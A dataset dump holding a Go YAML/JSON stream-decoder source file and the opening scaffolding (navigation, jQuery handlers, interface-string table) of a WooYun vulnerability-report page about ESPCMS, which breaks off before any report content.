text
stringlengths
1
22.8M
```go /* path_to_url Unless required by applicable law or agreed to in writing, software WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package yaml import ( "bufio" "bytes" "encoding/json" "fmt" "io" "io/ioutil" "strings" "unicode" jsonutil "k8s.io/apimachinery/pkg/util/json" "k8s.io/klog/v2" "sigs.k8s.io/yaml" ) // Unmarshal unmarshals the given data // If v is a *map[string]interface{}, *[]interface{}, or *interface{} numbers // are converted to int64 or float64 func Unmarshal(data []byte, v interface{}) error { preserveIntFloat := func(d *json.Decoder) *json.Decoder { d.UseNumber() return d } switch v := v.(type) { case *map[string]interface{}: if err := yaml.Unmarshal(data, v, preserveIntFloat); err != nil { return err } return jsonutil.ConvertMapNumbers(*v, 0) case *[]interface{}: if err := yaml.Unmarshal(data, v, preserveIntFloat); err != nil { return err } return jsonutil.ConvertSliceNumbers(*v, 0) case *interface{}: if err := yaml.Unmarshal(data, v, preserveIntFloat); err != nil { return err } return jsonutil.ConvertInterfaceNumbers(v, 0) default: return yaml.Unmarshal(data, v) } } // ToJSON converts a single YAML document into a JSON document // or returns an error. If the document appears to be JSON the // YAML decoding path is not used (so that error messages are // JSON specific). func ToJSON(data []byte) ([]byte, error) { if hasJSONPrefix(data) { return data, nil } return yaml.YAMLToJSON(data) } // YAMLToJSONDecoder decodes YAML documents from an io.Reader by // separating individual documents. It first converts the YAML // body to JSON, then unmarshals the JSON. type YAMLToJSONDecoder struct { reader Reader } // NewYAMLToJSONDecoder decodes YAML documents from the provided // stream in chunks by converting each document (as defined by // the YAML spec) into its own chunk, converting it to JSON via // yaml.YAMLToJSON, and then passing it to json.Decoder. func NewYAMLToJSONDecoder(r io.Reader) *YAMLToJSONDecoder { reader := bufio.NewReader(r) return &YAMLToJSONDecoder{ reader: NewYAMLReader(reader), } } // Decode reads a YAML document as JSON from the stream or returns // an error. The decoding rules match json.Unmarshal, not // yaml.Unmarshal. func (d *YAMLToJSONDecoder) Decode(into interface{}) error { bytes, err := d.reader.Read() if err != nil && err != io.EOF { return err } if len(bytes) != 0 { err := yaml.Unmarshal(bytes, into) if err != nil { return YAMLSyntaxError{err} } } return err } // YAMLDecoder reads chunks of objects and returns ErrShortBuffer if // the data is not sufficient. type YAMLDecoder struct { r io.ReadCloser scanner *bufio.Scanner remaining []byte } // NewDocumentDecoder decodes YAML documents from the provided // stream in chunks by converting each document (as defined by // the YAML spec) into its own chunk. io.ErrShortBuffer will be // returned if the entire buffer could not be read to assist // the caller in framing the chunk. func NewDocumentDecoder(r io.ReadCloser) io.ReadCloser { scanner := bufio.NewScanner(r) // the size of initial allocation for buffer 4k buf := make([]byte, 4*1024) // the maximum size used to buffer a token 5M scanner.Buffer(buf, 5*1024*1024) scanner.Split(splitYAMLDocument) return &YAMLDecoder{ r: r, scanner: scanner, } } // Read reads the previous slice into the buffer, or attempts to read // the next chunk. // TODO: switch to readline approach. func (d *YAMLDecoder) Read(data []byte) (n int, err error) { left := len(d.remaining) if left == 0 { // return the next chunk from the stream if !d.scanner.Scan() { err := d.scanner.Err() if err == nil { err = io.EOF } return 0, err } out := d.scanner.Bytes() d.remaining = out left = len(out) } // fits within data if left <= len(data) { copy(data, d.remaining) d.remaining = nil return left, nil } // caller will need to reread copy(data, d.remaining[:len(data)]) d.remaining = d.remaining[len(data):] return len(data), io.ErrShortBuffer } func (d *YAMLDecoder) Close() error { return d.r.Close() } const yamlSeparator = "\n---" const separator = "---" // splitYAMLDocument is a bufio.SplitFunc for splitting YAML streams into individual documents. func splitYAMLDocument(data []byte, atEOF bool) (advance int, token []byte, err error) { if atEOF && len(data) == 0 { return 0, nil, nil } sep := len([]byte(yamlSeparator)) if i := bytes.Index(data, []byte(yamlSeparator)); i >= 0 { // We have a potential document terminator i += sep after := data[i:] if len(after) == 0 { // we can't read any more characters if atEOF { return len(data), data[:len(data)-sep], nil } return 0, nil, nil } if j := bytes.IndexByte(after, '\n'); j >= 0 { return i + j + 1, data[0 : i-sep], nil } return 0, nil, nil } // If we're at EOF, we have a final, non-terminated line. Return it. if atEOF { return len(data), data, nil } // Request more data. return 0, nil, nil } // decoder is a convenience interface for Decode. type decoder interface { Decode(into interface{}) error } // YAMLOrJSONDecoder attempts to decode a stream of JSON documents or // YAML documents by sniffing for a leading { character. type YAMLOrJSONDecoder struct { r io.Reader bufferSize int decoder decoder rawData []byte } type JSONSyntaxError struct { Line int Err error } func (e JSONSyntaxError) Error() string { return fmt.Sprintf("json: line %d: %s", e.Line, e.Err.Error()) } type YAMLSyntaxError struct { err error } func (e YAMLSyntaxError) Error() string { return e.err.Error() } // NewYAMLOrJSONDecoder returns a decoder that will process YAML documents // or JSON documents from the given reader as a stream. bufferSize determines // how far into the stream the decoder will look to figure out whether this // is a JSON stream (has whitespace followed by an open brace). func NewYAMLOrJSONDecoder(r io.Reader, bufferSize int) *YAMLOrJSONDecoder { return &YAMLOrJSONDecoder{ r: r, bufferSize: bufferSize, } } // Decode unmarshals the next object from the underlying stream into the // provide object, or returns an error. func (d *YAMLOrJSONDecoder) Decode(into interface{}) error { if d.decoder == nil { buffer, origData, isJSON := GuessJSONStream(d.r, d.bufferSize) if isJSON { d.decoder = json.NewDecoder(buffer) d.rawData = origData } else { d.decoder = NewYAMLToJSONDecoder(buffer) } } err := d.decoder.Decode(into) if jsonDecoder, ok := d.decoder.(*json.Decoder); ok { if syntax, ok := err.(*json.SyntaxError); ok { data, readErr := ioutil.ReadAll(jsonDecoder.Buffered()) if readErr != nil { klog.V(4).Infof("reading stream failed: %v", readErr) } js := string(data) // if contents from io.Reader are not complete, // use the original raw data to prevent panic if int64(len(js)) <= syntax.Offset { js = string(d.rawData) } start := strings.LastIndex(js[:syntax.Offset], "\n") + 1 line := strings.Count(js[:start], "\n") return JSONSyntaxError{ Line: line, Err: fmt.Errorf(syntax.Error()), } } } return err } type Reader interface { Read() ([]byte, error) } type YAMLReader struct { reader Reader } func NewYAMLReader(r *bufio.Reader) *YAMLReader { return &YAMLReader{ reader: &LineReader{reader: r}, } } // Read returns a full YAML document. func (r *YAMLReader) Read() ([]byte, error) { var buffer bytes.Buffer for { line, err := r.reader.Read() if err != nil && err != io.EOF { return nil, err } sep := len([]byte(separator)) if i := bytes.Index(line, []byte(separator)); i == 0 { // We have a potential document terminator i += sep after := line[i:] if len(strings.TrimRightFunc(string(after), unicode.IsSpace)) == 0 { if buffer.Len() != 0 { return buffer.Bytes(), nil } if err == io.EOF { return nil, err } } } if err == io.EOF { if buffer.Len() != 0 { // If we're at EOF, we have a final, non-terminated line. Return it. return buffer.Bytes(), nil } return nil, err } buffer.Write(line) } } type LineReader struct { reader *bufio.Reader } // Read returns a single line (with '\n' ended) from the underlying reader. // An error is returned iff there is an error with the underlying reader. func (r *LineReader) Read() ([]byte, error) { var ( isPrefix bool = true err error = nil line []byte buffer bytes.Buffer ) for isPrefix && err == nil { line, isPrefix, err = r.reader.ReadLine() buffer.Write(line) } buffer.WriteByte('\n') return buffer.Bytes(), err } // GuessJSONStream scans the provided reader up to size, looking // for an open brace indicating this is JSON. It will return the // bufio.Reader it creates for the consumer. func GuessJSONStream(r io.Reader, size int) (io.Reader, []byte, bool) { buffer := bufio.NewReaderSize(r, size) b, _ := buffer.Peek(size) return buffer, b, hasJSONPrefix(b) } var jsonPrefix = []byte("{") // hasJSONPrefix returns true if the provided buffer appears to start with // a JSON open brace. func hasJSONPrefix(buf []byte) bool { return hasPrefix(buf, jsonPrefix) } // Return true if the first non-whitespace bytes in buf is // prefix. func hasPrefix(buf []byte, prefix []byte) bool { trim := bytes.TrimLeftFunc(buf, unicode.IsSpace) return bytes.HasPrefix(trim, prefix) } ```
```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url"> <html xmlns="path_to_url"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta http-equiv="x-ua-compatible" content="ie=7"/> <title> espcmssql | WooYun-2015-118799 | WooYun.org </title> <meta name="author" content="80sec"/> <meta name="copyright" content="path_to_url"/> <meta name="keywords" content="ESPCMS,Xser,SQL,wooyun,,web,,,,,"/> <meta name="description" content="V6.4.15.05.20 UTF8 2015-05-21 00:05:12 7.67MB|WooYun,,,"/> <link rel="icon" href="path_to_url" sizes="32x32" /> <link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/> <script src="path_to_url" type="text/javascript"></script> </head> <body id="bugDetail"> <style> #myBugListTab { position:relative; display:inline; border:none } #myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF } #myBugList li { text-align:left } </style> <script type="text/javascript"> $(document).ready(function(){ if ( $("#__cz_push_d_object_box__") ) { $("script[src^='path_to_url").attr("src"," ").remove(); $("#__cz_push_d_object_box__").empty().remove(); $("a[id^='__czUnion_a']").attr("href","#").remove(); } if ( $("#ooDiv") ) { $("#ooDiv").empty().parent("div").remove(); } $("#myBugListTab").toggle( function(){ $("#myBugList").css("display","block"); }, function(){ $("#myBugList").css("display","none"); } ); if ( $(window).scrollTop() > 120 ) { $("#back-to-top").fadeIn(300); } else { $("#back-to-top").fadeOut(300); } $(window).scroll(function(){ if ( $(window).scrollTop() > 120 ) { $("#back-to-top").fadeIn(300); } else { $("#back-to-top").fadeOut(300); } }); $("#back-to-top a").click(function() { $('body,html').animate({scrollTop:0},300); return false; }); $("#go-to-comment a").click(function() { var t = $("#replys").offset().top - 52; $('body,html').animate({scrollTop:t},300); return false; }); }); function gofeedback(){ var bugid=$("#fbid").val(); if(bugid){ var url="/feedback.php?bugid="+bugid; }else{ var url="/feedback.php" } window.open(url); } </script> <div class="go-to-wrapper"> <ul class="go-to"> <li id="go-to-comment" title=""><a href="wooyun-2015-0118799#"></a></li> <li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li> <li id="back-to-top" title=""><a href="wooyun-2015-0118799#"></a></li> </ul> </div> <div class="banner"> <div class="logo"> <h1>WooYun.org</h1> <div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe> </div> <div class="wxewm"> <a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a> </div> </div> <div class="login"> <a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a> </div> </div> <div class="nav" id="nav_sc"> <ul> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li class="new"><a href="path_to_url"></a></li> <!--li><a href="/corp_actions"></a></li--> <!--<li><a target='_blank' href="path_to_url"></a></li>--> <li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li> <!--li><a href="/job/"></a></li--> <li><a href="path_to_url" target="_blank"></a></li> <li><a href="path_to_url" target="_blank"></a></li> <li><a href="path_to_url"></a></li> </ul> <form action="path_to_url" method="post" id="searchbox"> <input type="text" name="q" id="search_input" /> <input type="submit" value="" id="search_button" /> </form> </div> <div class="bread" style="padding-top: 4px;"> <div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2015-0118799#"></a></div> </div> <script language="javascript"> var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL"